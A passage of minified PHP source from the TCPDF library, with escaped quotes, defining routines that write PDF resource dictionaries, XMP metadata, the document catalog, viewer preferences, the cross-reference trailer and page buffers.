0 R\';}$out.=\' >>\';}$out.=\' >>\';if(isset($data[\'group\']) AND ($data[\'group\']!==false)){$out.=\' /Group << /Type /Group /S /Transparency\';if(is_array($data[\'group\'])){if(isset($data[\'group\'][\'CS\']) AND !empty($data[\'group\'][\'CS\'])){$out.=\' /CS /\'.$data[\'group\'][\'CS\'];}if(isset($data[\'group\'][\'I\'])){$out.=\' /I /\'.($data[\'group\'][\'I\']===true?\'true\':\'false\');}if(isset($data[\'group\'][\'K\'])){$out.=\' /K /\'.($data[\'group\'][\'K\']===true?\'true\':\'false\');}}$out.=\' >>\';}$stream=$this->_getrawstream($stream,$data[\'n\']);$out.=\' /Length \'.strlen($stream);$out.=\' >>\';$out.=\' stream\'."
".$stream."
".\'endstream\';$out.="
".\'endobj\';$this->_out($out);}}} function _putspotcolors(){foreach($this->spot_colors as $name=>$color){$this->_newobj();$this->spot_colors[$name][\'n\']=$this->n;$out=\'[/Separation /\'.str_replace(\' \',\'#20\',$name);$out.=\' /DeviceCMYK <<\';$out.=\' /Range [0 1 0 1 0 1 0 1] /C0 [0 0 0 0]\';$out.=\' \'.sprintf(\'/C1 [%F %F %F %F] \',($color[\'C\']/100),($color[\'M\']/100),($color[\'Y\']/100),($color[\'K\']/100));$out.=\' /FunctionType 2 /Domain [0 1] /N 1>>]\';$out.="
".\'endobj\';$this->_out($out);}} function _getxobjectdict(){$out=\'\';foreach($this->xobjects as $id=>$objid){$out.=\' /\'.$id.\' \'.$objid[\'n\'].\' 0 R\';}return $out;} function _putresourcedict(){$out=$this->_getobj(2)."
";$out.=\'<< /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]\';$out.=\' /Font <<\';foreach($this->fontkeys as $fontkey){$font=$this->getFontBuffer($fontkey);$out.=\' /F\'.$font[\'i\'].\' \'.$font[\'n\'].\' 0 R\';}$out.=\' >>\';$out.=\' /XObject <<\';$out.=$this->_getxobjectdict();$out.=\' >>\';if(!empty($this->pdflayers)){$out.=\' /Properties <<\';foreach($this->pdflayers as $layer){$out.=\' /\'.$layer[\'layer\'].\' \'.$layer[\'objid\'].\' 0 R\';}$out.=\' >>\';}if(!$this->pdfa_mode){if(isset($this->extgstates) AND !empty($this->extgstates)){$out.=\' /ExtGState <<\';foreach($this->extgstates as $k=>$extgstate){if(isset($extgstate[\'name\'])){$out.=\' /\'.$extgstate[\'name\'];}else {$out.=\' /GS\'.$k;}$out.=\' \'.$extgstate[\'n\'].\' 0 R\';}$out.=\' >>\';}if(isset($this->gradients) AND !empty($this->gradients)){$gp=\'\';$gs=\'\';foreach($this->gradients as $id=>$grad){$gp.=\' /p\'.$id.\' \'.$grad[\'pattern\'].\' 0 R\';$gs.=\' /Sh\'.$id.\' \'.$grad[\'id\'].\' 0 R\';}$out.=\' /Pattern <<\'.$gp.\' >>\';$out.=\' /Shading <<\'.$gs.\' >>\';}}if(isset($this->spot_colors) AND !empty($this->spot_colors)){$out.=\' /ColorSpace <<\';foreach($this->spot_colors as $color){$out.=\' /CS\'.$color[\'i\'].\' \'.$color[\'n\'].\' 0 R\';}$out.=\' >>\';}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);} function _putresources(){$this->_putextgstates();$this->_putocg();$this->_putfonts();$this->_putimages();$this->_putspotcolors();$this->_putshaders();$this->_putxobjects();$this->_putresourcedict();$this->_putdests();$this->_putEmbeddedFiles();$this->_putannotsobjs();$this->_putjavascript();$this->_putbookmarks();$this->_putencryption();} function _putinfo(){$oid=$this->_newobj();$out=\'<<\';$prev_isunicode=$this->isunicode;if($this->docinfounicode){$this->isunicode=true;}if(!TCPDF_STATIC::empty_string($this->title)){$out.=\' /Title \'.$this->_textstring($this->title,$oid);}if(!TCPDF_STATIC::empty_string($this->author)){$out.=\' /Author \'.$this->_textstring($this->author,$oid);}if(!TCPDF_STATIC::empty_string($this->subject)){$out.=\' /Subject \'.$this->_textstring($this->subject,$oid);}if(!TCPDF_STATIC::empty_string($this->keywords)){$out.=\' /Keywords \'.$this->_textstring($this->keywords,$oid);}if(!TCPDF_STATIC::empty_string($this->creator)){$out.=\' /Creator \'.$this->_textstring($this->creator,$oid);}$this->isunicode=$prev_isunicode;$out.=\' /Producer \'.$this->_textstring(TCPDF_STATIC::getTCPDFProducer(),$oid);$out.=\' /CreationDate \'.$this->_datestring(0,$this->doc_creation_timestamp);$out.=\' /ModDate \'.$this->_datestring(0,$this->doc_modification_timestamp);$out.=\' /Trapped /False\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);return $oid;} function setExtraXMP($xmp){$this->custom_xmp=$xmp;} function _putXMP(){$oid=$this->_newobj();$prev_isunicode=$this->isunicode;$this->isunicode=true;$prev_encrypted=$this->encrypted;$this->encrypted=false;$xmp=\'<?xpacket begin="\'.TCPDF_FONTS::unichr(0xfeff,$this->isunicode).\'" id="W5M0MpCehiHzreSzNTczkc9d"?>\'."
";$xmp.=\'<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.1-c043 52.372728, 2009/01/18-15:08:04">\'."
";$xmp.=" ".\'<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">\'."
";$xmp.=" ".\'<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">\'."
";$xmp.=" ".\'<dc:format>application/pdf</dc:format>\'."
";$xmp.=" ".\'<dc:title>\'."
";$xmp.=" ".\'<rdf:Alt>\'."
";$xmp.=" ".\'<rdf:li xml:lang="x-default">\'.TCPDF_STATIC::_escapeXML($this->title).\'</rdf:li>\'."
";$xmp.=" ".\'</rdf:Alt>\'."
";$xmp.=" ".\'</dc:title>\'."
";$xmp.=" ".\'<dc:creator>\'."
";$xmp.=" ".\'<rdf:Seq>\'."
";$xmp.=" ".\'<rdf:li>\'.TCPDF_STATIC::_escapeXML($this->author).\'</rdf:li>\'."
";$xmp.=" ".\'</rdf:Seq>\'."
";$xmp.=" ".\'</dc:creator>\'."
";$xmp.=" ".\'<dc:description>\'."
";$xmp.=" ".\'<rdf:Alt>\'."
";$xmp.=" ".\'<rdf:li xml:lang="x-default">\'.TCPDF_STATIC::_escapeXML($this->subject).\'</rdf:li>\'."
";$xmp.=" ".\'</rdf:Alt>\'."
";$xmp.=" ".\'</dc:description>\'."
";$xmp.=" ".\'<dc:subject>\'."
";$xmp.=" ".\'<rdf:Bag>\'."
";$xmp.=" ".\'<rdf:li>\'.TCPDF_STATIC::_escapeXML($this->keywords).\'</rdf:li>\'."
";$xmp.=" ".\'</rdf:Bag>\'."
";$xmp.=" ".\'</dc:subject>\'."
";$xmp.=" ".\'</rdf:Description>\'."
";$dcdate=TCPDF_STATIC::getFormattedDate($this->doc_creation_timestamp);$doccreationdate=substr($dcdate,0,4).\'-\'.substr($dcdate,4,2).\'-\'.substr($dcdate,6,2);$doccreationdate.=\'T\'.substr($dcdate,8,2).\':\'.substr($dcdate,10,2).\':\'.substr($dcdate,12,2);$doccreationdate.=substr($dcdate,14,3).\':\'.substr($dcdate,18,2);$doccreationdate=TCPDF_STATIC::_escapeXML($doccreationdate);$dmdate=TCPDF_STATIC::getFormattedDate($this->doc_modification_timestamp);$docmoddate=substr($dmdate,0,4).\'-\'.substr($dmdate,4,2).\'-\'.substr($dmdate,6,2);$docmoddate.=\'T\'.substr($dmdate,8,2).\':\'.substr($dmdate,10,2).\':\'.substr($dmdate,12,2);$docmoddate.=substr($dmdate,14,3).\':\'.substr($dmdate,18,2);$docmoddate=TCPDF_STATIC::_escapeXML($docmoddate);$xmp.=" ".\'<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/">\'."
";$xmp.=" ".\'<xmp:CreateDate>\'.$doccreationdate.\'</xmp:CreateDate>\'."
";$xmp.=" ".\'<xmp:CreatorTool>\'.$this->creator.\'</xmp:CreatorTool>\'."
";$xmp.=" ".\'<xmp:ModifyDate>\'.$docmoddate.\'</xmp:ModifyDate>\'."
";$xmp.=" ".\'<xmp:MetadataDate>\'.$doccreationdate.\'</xmp:MetadataDate>\'."
";$xmp.=" ".\'</rdf:Description>\'."
";$xmp.=" ".\'<rdf:Description rdf:about="" xmlns:pdf="http://ns.adobe.com/pdf/1.3/">\'."
";$xmp.=" ".\'<pdf:Keywords>\'.TCPDF_STATIC::_escapeXML($this->keywords).\'</pdf:Keywords>\'."
";$xmp.=" ".\'<pdf:Producer>\'.TCPDF_STATIC::_escapeXML(TCPDF_STATIC::getTCPDFProducer()).\'</pdf:Producer>\'."
";$xmp.=" ".\'</rdf:Description>\'."
";$xmp.=" ".\'<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">\'."
";$uuid=\'uuid:\'.substr($this->file_id,0,8).\'-\'.substr($this->file_id,8,4).\'-\'.substr($this->file_id,12,4).\'-\'.substr($this->file_id,16,4).\'-\'.substr($this->file_id,20,12);$xmp.=" ".\'<xmpMM:DocumentID>\'.$uuid.\'</xmpMM:DocumentID>\'."
";$xmp.=" ".\'<xmpMM:InstanceID>\'.$uuid.\'</xmpMM:InstanceID>\'."
";$xmp.=" ".\'</rdf:Description>\'."
";if($this->pdfa_mode){$xmp.=" ".\'<rdf:Description rdf:about="" xmlns:pdfaid="http://www.aiim.org/pdfa/ns/id/">\'."
";$xmp.=" ".\'<pdfaid:part>1</pdfaid:part>\'."
";$xmp.=" ".\'<pdfaid:conformance>B</pdfaid:conformance>\'."
";$xmp.=" ".\'</rdf:Description>\'."
";}$xmp.=" ".\'<rdf:Description rdf:about="" xmlns:pdfaExtension="http://www.aiim.org/pdfa/ns/extension/" xmlns:pdfaSchema="http://www.aiim.org/pdfa/ns/schema#" xmlns:pdfaProperty="http://www.aiim.org/pdfa/ns/property#">\'."
";$xmp.=" ".\'<pdfaExtension:schemas>\'."
";$xmp.=" ".\'<rdf:Bag>\'."
";$xmp.=" ".\'<rdf:li rdf:parseType="Resource">\'."
";$xmp.=" ".\'<pdfaSchema:namespaceURI>http://ns.adobe.com/pdf/1.3/</pdfaSchema:namespaceURI>\'."
";$xmp.=" ".\'<pdfaSchema:prefix>pdf</pdfaSchema:prefix>\'."
";$xmp.=" ".\'<pdfaSchema:schema>Adobe PDF Schema</pdfaSchema:schema>\'."
";$xmp.=" ".\'</rdf:li>\'."
";$xmp.=" ".\'<rdf:li rdf:parseType="Resource">\'."
";$xmp.=" ".\'<pdfaSchema:namespaceURI>http://ns.adobe.com/xap/1.0/mm/</pdfaSchema:namespaceURI>\'."
";$xmp.=" ".\'<pdfaSchema:prefix>xmpMM</pdfaSchema:prefix>\'."
";$xmp.=" ".\'<pdfaSchema:schema>XMP Media Management Schema</pdfaSchema:schema>\'."
";$xmp.=" ".\'<pdfaSchema:property>\'."
";$xmp.=" ".\'<rdf:Seq>\'."
";$xmp.=" ".\'<rdf:li rdf:parseType="Resource">\'."
";$xmp.=" ".\'<pdfaProperty:category>internal</pdfaProperty:category>\'."
";$xmp.=" ".\'<pdfaProperty:description>UUID based identifier for specific incarnation of a document</pdfaProperty:description>\'."
";$xmp.=" ".\'<pdfaProperty:name>InstanceID</pdfaProperty:name>\'."
";$xmp.=" ".\'<pdfaProperty:valueType>URI</pdfaProperty:valueType>\'."
";$xmp.=" ".\'</rdf:li>\'."
";$xmp.=" ".\'</rdf:Seq>\'."
";$xmp.=" ".\'</pdfaSchema:property>\'."
";$xmp.=" ".\'</rdf:li>\'."
";$xmp.=" ".\'<rdf:li rdf:parseType="Resource">\'."
";$xmp.=" ".\'<pdfaSchema:namespaceURI>http://www.aiim.org/pdfa/ns/id/</pdfaSchema:namespaceURI>\'."
";$xmp.=" ".\'<pdfaSchema:prefix>pdfaid</pdfaSchema:prefix>\'."
";$xmp.=" ".\'<pdfaSchema:schema>PDF/A ID Schema</pdfaSchema:schema>\'."
";$xmp.=" ".\'<pdfaSchema:property>\'."
";$xmp.=" ".\'<rdf:Seq>\'."
";$xmp.=" ".\'<rdf:li rdf:parseType="Resource">\'."
";$xmp.=" ".\'<pdfaProperty:category>internal</pdfaProperty:category>\'."
";$xmp.=" ".\'<pdfaProperty:description>Part of PDF/A standard</pdfaProperty:description>\'."
";$xmp.=" ".\'<pdfaProperty:name>part</pdfaProperty:name>\'."
";$xmp.=" ".\'<pdfaProperty:valueType>Integer</pdfaProperty:valueType>\'."
";$xmp.=" ".\'</rdf:li>\'."
";$xmp.=" ".\'<rdf:li rdf:parseType="Resource">\'."
";$xmp.=" ".\'<pdfaProperty:category>internal</pdfaProperty:category>\'."
";$xmp.=" ".\'<pdfaProperty:description>Amendment of PDF/A standard</pdfaProperty:description>\'."
";$xmp.=" ".\'<pdfaProperty:name>amd</pdfaProperty:name>\'."
";$xmp.=" ".\'<pdfaProperty:valueType>Text</pdfaProperty:valueType>\'."
";$xmp.=" ".\'</rdf:li>\'."
";$xmp.=" ".\'<rdf:li rdf:parseType="Resource">\'."
";$xmp.=" ".\'<pdfaProperty:category>internal</pdfaProperty:category>\'."
";$xmp.=" ".\'<pdfaProperty:description>Conformance level of PDF/A standard</pdfaProperty:description>\'."
";$xmp.=" ".\'<pdfaProperty:name>conformance</pdfaProperty:name>\'."
";$xmp.=" ".\'<pdfaProperty:valueType>Text</pdfaProperty:valueType>\'."
";$xmp.=" ".\'</rdf:li>\'."
";$xmp.=" ".\'</rdf:Seq>\'."
";$xmp.=" ".\'</pdfaSchema:property>\'."
";$xmp.=" ".\'</rdf:li>\'."
";$xmp.=" ".\'</rdf:Bag>\'."
";$xmp.=" ".\'</pdfaExtension:schemas>\'."
";$xmp.=" ".\'</rdf:Description>\'."
";$xmp.=" ".\'</rdf:RDF>\'."
";$xmp.=$this->custom_xmp;$xmp.=\'</x:xmpmeta>\'."
";$xmp.=\'<?xpacket end="w"?>\';$out=\'<< /Type /Metadata /Subtype /XML /Length \'.strlen($xmp).\' >> stream\'."
".$xmp."
".\'endstream\'."
".\'endobj\';$this->isunicode=$prev_isunicode;$this->encrypted=$prev_encrypted;$this->_out($out);return $oid;} function _putcatalog(){$xmpobj=$this->_putXMP();$oid=$this->_newobj();$out=\'<< /Type /Catalog\';$out.=\' /Version /\'.$this->PDFVersion;$out.=\' /Pages 1 0 R\';$out.=\' /Names <<\';if((!$this->pdfa_mode) AND !empty($this->n_js)){$out.=\' /JavaScript \'.$this->n_js;}if(!empty($this->efnames)){$out.=\' /EmbeddedFiles <</Names [\';foreach($this->efnames AS $fn=>$fref){$out.=\' \'.$this->_datastring($fn).\' \'.$fref;}$out.=\' ]>>\';}$out.=\' >>\';if(!empty($this->dests)){$out.=\' /Dests \'.($this->n_dests).\' 0 R\';}$out.=$this->_putviewerpreferences();if(isset($this->LayoutMode) AND (!TCPDF_STATIC::empty_string($this->LayoutMode))){$out.=\' /PageLayout /\'.$this->LayoutMode;}if(isset($this->PageMode) AND (!TCPDF_STATIC::empty_string($this->PageMode))){$out.=\' /PageMode /\'.$this->PageMode;}if(count($this->outlines)>0){$out.=\' /Outlines \'.$this->OutlineRoot.\' 0 R\';$out.=\' /PageMode /UseOutlines\';}if($this->ZoomMode==\'fullpage\'){$out.=\' /OpenAction [\'.$this->page_obj_id[1].\' 0 R /Fit]\';}elseif($this->ZoomMode==\'fullwidth\'){$out.=\' /OpenAction [\'.$this->page_obj_id[1].\' 0 R /FitH null]\';}elseif($this->ZoomMode==\'real\'){$out.=\' /OpenAction [\'.$this->page_obj_id[1].\' 0 R /XYZ null null 1]\';}elseif(!is_string($this->ZoomMode)){$out.=sprintf(\' /OpenAction [\'.$this->page_obj_id[1].\' 0 R /XYZ null null %F]\',($this->ZoomMode/100));}$out.=\' /Metadata \'.$xmpobj.\' 0 R\';if(isset($this->l[\'a_meta_language\'])){$out.=\' /Lang \'.$this->_textstring($this->l[\'a_meta_language\'],$oid);}if($this->pdfa_mode OR $this->force_srgb){$out.=\' /OutputIntents [<<\';$out.=\' /Type /OutputIntent\';$out.=\' /S /GTS_PDFA1\';$out.=\' /OutputCondition \'.$this->_textstring(\'sRGB IEC61966-2.1\',$oid);$out.=\' /OutputConditionIdentifier \'.$this->_textstring(\'sRGB IEC61966-2.1\',$oid);$out.=\' /RegistryName \'.$this->_textstring(\'http://www.color.org\',$oid);$out.=\' /Info \'.$this->_textstring(\'sRGB IEC61966-2.1\',$oid);$out.=\' /DestOutputProfile \'.$iccobj.\' 0 R\';$out.=\' >>]\';}if(!empty($this->pdflayers)){$lyrobjs=\'\';$lyrobjs_off=\'\';$lyrobjs_lock=\'\';foreach($this->pdflayers as $layer){$layer_obj_ref=\' \'.$layer[\'objid\'].\' 0 R\';$lyrobjs.=$layer_obj_ref;if($layer[\'view\']===false){$lyrobjs_off.=$layer_obj_ref;}if($layer[\'lock\']){$lyrobjs_lock.=$layer_obj_ref;}}$out.=\' /OCProperties << /OCGs [\'.$lyrobjs.\']\';$out.=\' /D <<\';$out.=\' /Name \'.$this->_textstring(\'Layers\',$oid);$out.=\' /Creator \'.$this->_textstring(\'TCPDF\',$oid);$out.=\' /BaseState /ON\';$out.=\' /OFF [\'.$lyrobjs_off.\']\';$out.=\' /Locked [\'.$lyrobjs_lock.\']\';$out.=\' /Intent /View\';$out.=\' /AS [\';$out.=\' << /Event /Print /OCGs [\'.$lyrobjs.\'] /Category [/Print] >>\';$out.=\' << /Event /View /OCGs [\'.$lyrobjs.\'] /Category [/View] >>\';$out.=\' ]\';$out.=\' /Order [\'.$lyrobjs.\']\';$out.=\' /ListMode /AllPages\';$out.=\' >>\';$out.=\' >>\';}if(!empty($this->form_obj_id) OR ($this->sign AND isset($this->signature_data[\'cert_type\'])) OR !empty($this->empty_signature_appearance)){$out.=\' /AcroForm <<\';$objrefs=\'\';if($this->sign AND isset($this->signature_data[\'cert_type\'])){$objrefs.=$this->sig_obj_id.\' 0 R\';}if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $esa){$objrefs.=\' \'.$esa[\'objid\'].\' 0 R\';}}if(!empty($this->form_obj_id)){foreach($this->form_obj_id as $objid){$objrefs.=\' \'.$objid.\' 0 R\';}}$out.=\' /Fields [\'.$objrefs.\']\';if(empty($this->signature_data[\'approval\']) OR ($this->signature_data[\'approval\']!=\'A\')){$out.=\' /NeedAppearances false\';}if($this->sign AND isset($this->signature_data[\'cert_type\'])){if($this->signature_data[\'cert_type\']>0){$out.=\' /SigFlags 3\';}else {$out.=\' /SigFlags 1\';}}if(isset($this->annotation_fonts) AND !empty($this->annotation_fonts)){$out.=\' /DR <<\';$out.=\' /Font <<\';foreach($this->annotation_fonts as $fontkey=>$fontid){$out.=\' /F\'.$fontid.\' \'.$this->font_obj_ids[$fontkey].\' 0 R\';}$out.=\' >> >>\';}$font=$this->getFontBuffer(\'helvetica\');$out.=\' /DA (/F\'.$font[\'i\'].\' 0 Tf 0 g)\';$out.=\' /Q \'.(($this->rtl)?\'2\':\'0\');$out.=\' >>\';if($this->sign AND isset($this->signature_data[\'cert_type\']) AND (empty($this->signature_data[\'approval\']) OR ($this->signature_data[\'approval\']!=\'A\'))){if($this->signature_data[\'cert_type\']>0){$out.=\' /Perms << /DocMDP \'.($this->sig_obj_id+1).\' 0 R >>\';}else {$out.=\' /Perms << /UR3 \'.($this->sig_obj_id+1).\' 0 R >>\';}}}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);return $oid;} function _putviewerpreferences(){$vp=$this->viewer_preferences;$out=\' /ViewerPreferences <<\';if($this->rtl){$out.=\' /Direction /R2L\';}else {$out.=\' /Direction /L2R\';}if(isset($vp[\'HideToolbar\']) AND ($vp[\'HideToolbar\'])){$out.=\' /HideToolbar true\';}if(isset($vp[\'HideMenubar\']) AND ($vp[\'HideMenubar\'])){$out.=\' /HideMenubar true\';}if(isset($vp[\'HideWindowUI\']) AND ($vp[\'HideWindowUI\'])){$out.=\' /HideWindowUI true\';}if(isset($vp[\'FitWindow\']) AND ($vp[\'FitWindow\'])){$out.=\' /FitWindow true\';}if(isset($vp[\'CenterWindow\']) AND ($vp[\'CenterWindow\'])){$out.=\' /CenterWindow true\';}if(isset($vp[\'DisplayDocTitle\']) AND ($vp[\'DisplayDocTitle\'])){$out.=\' /DisplayDocTitle true\';}if(isset($vp[\'NonFullScreenPageMode\'])){$out.=\' /NonFullScreenPageMode /\'.$vp[\'NonFullScreenPageMode\'];}if(isset($vp[\'ViewArea\'])){$out.=\' /ViewArea /\'.$vp[\'ViewArea\'];}if(isset($vp[\'ViewClip\'])){$out.=\' /ViewClip /\'.$vp[\'ViewClip\'];}if(isset($vp[\'PrintArea\'])){$out.=\' /PrintArea /\'.$vp[\'PrintArea\'];}if(isset($vp[\'PrintClip\'])){$out.=\' /PrintClip /\'.$vp[\'PrintClip\'];}if(isset($vp[\'PrintScaling\'])){$out.=\' /PrintScaling /\'.$vp[\'PrintScaling\'];}if(isset($vp[\'Duplex\']) AND (!TCPDF_STATIC::empty_string($vp[\'Duplex\']))){$out.=\' /Duplex /\'.$vp[\'Duplex\'];}if(isset($vp[\'PickTrayByPDFSize\'])){if($vp[\'PickTrayByPDFSize\']){$out.=\' /PickTrayByPDFSize true\';}else {$out.=\' /PickTrayByPDFSize false\';}}if(isset($vp[\'PrintPageRange\'])){$PrintPageRangeNum=\'\';foreach($vp[\'PrintPageRange\'] as $k=>$v){$PrintPageRangeNum.=\' \'.($v-1).\'\';}$out.=\' /PrintPageRange [\'.substr($PrintPageRangeNum,1).\']\';}if(isset($vp[\'NumCopies\'])){$out.=\' /NumCopies \'.intval($vp[\'NumCopies\']);}$out.=\' >>\';return $out;} function _putheader(){$this->_out(\'%PDF-\'.$this->PDFVersion);$this->_out(\'%\'.chr(0xe2).chr(0xe3).chr(0xcf).chr(0xd3));} function _enddoc(){if(isset($this->CurrentFont[\'fontkey\']) AND isset($this->CurrentFont[\'subsetchars\'])){$this->setFontSubBuffer($this->CurrentFont[\'fontkey\'],\'subsetchars\',$this->CurrentFont[\'subsetchars\']);}$this->state=1;$this->_putheader();$this->_putpages();$this->_putresources();if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $key=>$esa){$out=$this->_getobj($esa[\'objid\'])."
";$out.=\'<< /Type /Annot\';$out.=\' /Subtype /Widget\';$out.=\' /Rect [\'.$esa[\'rect\'].\']\';$out.=\' /P \'.$this->page_obj_id[($esa[\'page\'])].\' 0 R\';$out.=\' /F 4\';$out.=\' /FT /Sig\';$signame=$esa[\'name\'].sprintf(\' [%03d]\',($key+1));$out.=\' /T \'.$this->_textstring($signame,$esa[\'objid\']);$out.=\' /Ff 0\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);}}if($this->sign AND isset($this->signature_data[\'cert_type\'])){$out=$this->_getobj($this->sig_obj_id)."
";$out.=\'<< /Type /Annot\';$out.=\' /Subtype /Widget\';$out.=\' /Rect [\'.$this->signature_appearance[\'rect\'].\']\';$out.=\' /P \'.$this->page_obj_id[($this->signature_appearance[\'page\'])].\' 0 R\';$out.=\' /F 4\';$out.=\' /FT /Sig\';$out.=\' /T \'.$this->_textstring($this->signature_appearance[\'name\'],$this->sig_obj_id);$out.=\' /Ff 0\';$out.=\' /V \'.($this->sig_obj_id+1).\' 0 R\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$this->_putsignature();}$objid_info=$this->_putinfo();$objid_catalog=$this->_putcatalog();$o=$this->bufferlen;$this->_out(\'xref\');$this->_out(\'0 \'.($this->n+1));$this->_out(\'0000000000 65535 f \');$freegen=($this->n+2);for($i=1;$i<=$this->n;++$i){if(!isset($this->offsets[$i]) AND ($i>1)){$this->_out(sprintf(\'0000000000 %05d f \',$freegen));++$freegen;}else {$this->_out(sprintf(\'%010d 00000 n \',$this->offsets[$i]));}}$out=\'trailer\'."
";$out.=\'<<\';$out.=\' /Size \'.($this->n+1);$out.=\' /Root \'.$objid_catalog.\' 0 R\';$out.=\' /Info \'.$objid_info.\' 0 R\';if($this->encrypted){$out.=\' /Encrypt \'.$this->encryptdata[\'objid\'].\' 0 R\';}$out.=\' /ID [ <\'.$this->file_id.\'> <\'.$this->file_id.\'> ]\';$out.=\' >>\';$this->_out($out);$this->_out(\'startxref\');$this->_out($o);$this->_out(\'%%EOF\');$this->state=3;} function _beginpage($orientation=\'\',$format=\'\'){++$this->page;$this->pageobjects[$this->page]=array();$this->setPageBuffer($this->page,\'\');$this->transfmrk[$this->page]=array();$this->state=2;if(TCPDF_STATIC::empty_string($orientation)){if(isset($this->CurOrientation)){$orientation=$this->CurOrientation;}elseif($this->fwPt>$this->fhPt){$orientation=\'L\';}else {$orientation=\'P\';}}if(TCPDF_STATIC::empty_string($format)){$this->pagedim[$this->page]=$this->pagedim[($this->page-1)];$this->setPageOrientation($orientation);}else {$this->setPageFormat($format,$orientation);}if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}$this->y=$this->tMargin;if(isset($this->newpagegroup[$this->page])){$this->currpagegroup=$this->newpagegroup[$this->page];$this->pagegroups[$this->currpagegroup]=1;}elseif(isset($this->currpagegroup) AND ($this->currpagegroup>0)){++$this->pagegroups[$this->currpagegroup];}} function _endpage(){$this->setVisibility(\'all\');$this->state=1;} function _newobj(){$this->_out($this->_getobj());return $this->n;} function _getobj($objid=\'\'){if($objid===\'\'){++$this->n;$objid=$this->n;}$this->offsets[$objid]=$this->bufferlen;$this->pageobjects[$this->page][]=$objid;return $objid.\' 0 obj\';} function _dounderline($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dounderlinew($x,$y,$w);} function _dounderlinew($x,$y,$w){$linew=-$this->CurrentFont[\'ut\']/1000*$this->FontSizePt;return sprintf(\'%F %F %F %F re f\',$x*$this->k,((($this->h-$y)*$this->k)+$linew),$w*$this->k,$linew);} function _dolinethrough($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dolinethroughw($x,$y,$w);} function _dolinethroughw($x,$y,$w){$linew=-$this->CurrentFont[\'ut\']/1000*$this->FontSizePt;return sprintf(\'%F %F %F %F re f\',$x*$this->k,((($this->h-$y)*$this->k)+$linew+($this->FontSizePt/3)),$w*$this->k,$linew);} function _dooverline($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dooverlinew($x,$y,$w);} function _dooverlinew($x,$y,$w){$linew=-$this->CurrentFont[\'ut\']/1000*$this->FontSizePt;return sprintf(\'%F %F %F %F re f\',$x*$this->k,(($this->h-$y+$this->FontAscent)*$this->k)-$linew,$w*$this->k,$linew);} function _datastring($s,$n=0){if($n==0){$n=$this->n;}$s=$this->_encrypt_data($n,$s);return \'(\'.TCPDF_STATIC::_escape($s).\')\';} function setDocCreationTimestamp($time){if(is_string($time)){$time=TCPDF_STATIC::getTimestamp($time);}$this->doc_creation_timestamp=intval($time);} function setDocModificationTimestamp($time){if(is_string($time)){$time=TCPDF_STATIC::getTimestamp($time);}$this->doc_modification_timestamp=intval($time);} function getDocCreationTimestamp(){return $this->doc_creation_timestamp;} function getDocModificationTimestamp(){return $this->doc_modification_timestamp;} function _datestring($n=0,$timestamp=0){if((empty($timestamp)) OR ($timestamp<0)){$timestamp=$this->doc_creation_timestamp;}return $this->_datastring(\'D:\'.TCPDF_STATIC::getFormattedDate($timestamp),$n);} function _textstring($s,$n=0){if($this->isunicode){$s=TCPDF_FONTS::UTF8ToUTF16BE($s,true,$this->isunicode,$this->CurrentFont);}return $this->_datastring($s,$n);} function _getrawstream($s,$n=0){if($n<=0){$n=$this->n;}return $this->_encrypt_data($n,$s);} function _out($s){if($this->state==2){if($this->inxobj){$this->xobjects[$this->xobjid][\'outdata\'].=$s."
";}elseif((!$this->InFooter) AND isset($this->footerlen[$this->page]) AND ($this->footerlen[$this->page]>0)){$pagebuff=$this->getPageBuffer($this->page);$page=substr($pagebuff,0,-$this->footerlen[$this->page]);$footer=substr($pagebuff,-$this->footerlen[$this->page]);$this->setPageBuffer($this->page,$page.$s."
".$footer);$this->footerpos[$this->page]+=strlen($s."
");}else {$this->setPageBuffer($this->page,$s."
",true);}}elseif($this->state>0){$this->setBuffer($s."
");}} function setHeaderFont($font){$this->header_font=$font;} function getHeaderFont(){return $this->header_font;} function setFooterFont($font){$this->footer_font=$font;} function getFooterFont(){return $this->footer_font;} function setLanguageArray($language){$this->l=$language;if(isset($this->l[\'a_meta_dir\'])){$this->rtl=$this->l[\'a_meta_dir\']==\'rtl\'?true:false;}else {$this->rtl=false;}} function getPDFData(){if($this->state<3){$this->Close();}return $this->buffer;} function addHtmlLink($url,$name,$fill=false,$firstline=false,$color=\'\',$style=-1,$firstblock=false){if(isset($url[1]) AND ($url[0]==\'#\') AND is_numeric($url[1])){$lnkdata=explode(\',\',$url);if(isset($lnkdata[0])){$page=substr($lnkdata[0],1);if(isset($lnkdata[1]) AND (strlen($lnkdata[1])>0)){$lnky=floatval($lnkdata[1]);}else {$lnky=0;}$url=$this->AddLink();$this->SetLink($url,$lnky,$page);}}$prevcolor=$this->fgcolor;$prevstyle=$this->FontStyle;if(empty($color)){$this->SetTextColorArray($this->htmlLinkColorArray);}else {$this->SetTextColorArray($color);}if($style==-1){$this->SetFont(\'\',$this->FontStyle.$this->htmlLinkFontStyle);}else {$this->SetFont(\'\',$this->FontStyle.$style);}$ret=$this->Write($this->lasth,$name,$url,$fill,\'\',false,0,$firstline,$firstblock,0);$this->SetFont(\'\',$prevstyle);$this->SetTextColorArray($prevcolor);return $ret;} function pixelsToUnits($px){return ($px/($this->imgscale*$this->k));} function unhtmlentities($text_to_convert){return @html_entity_decode($text_to_convert,ENT_QUOTES,$this->encoding);} function 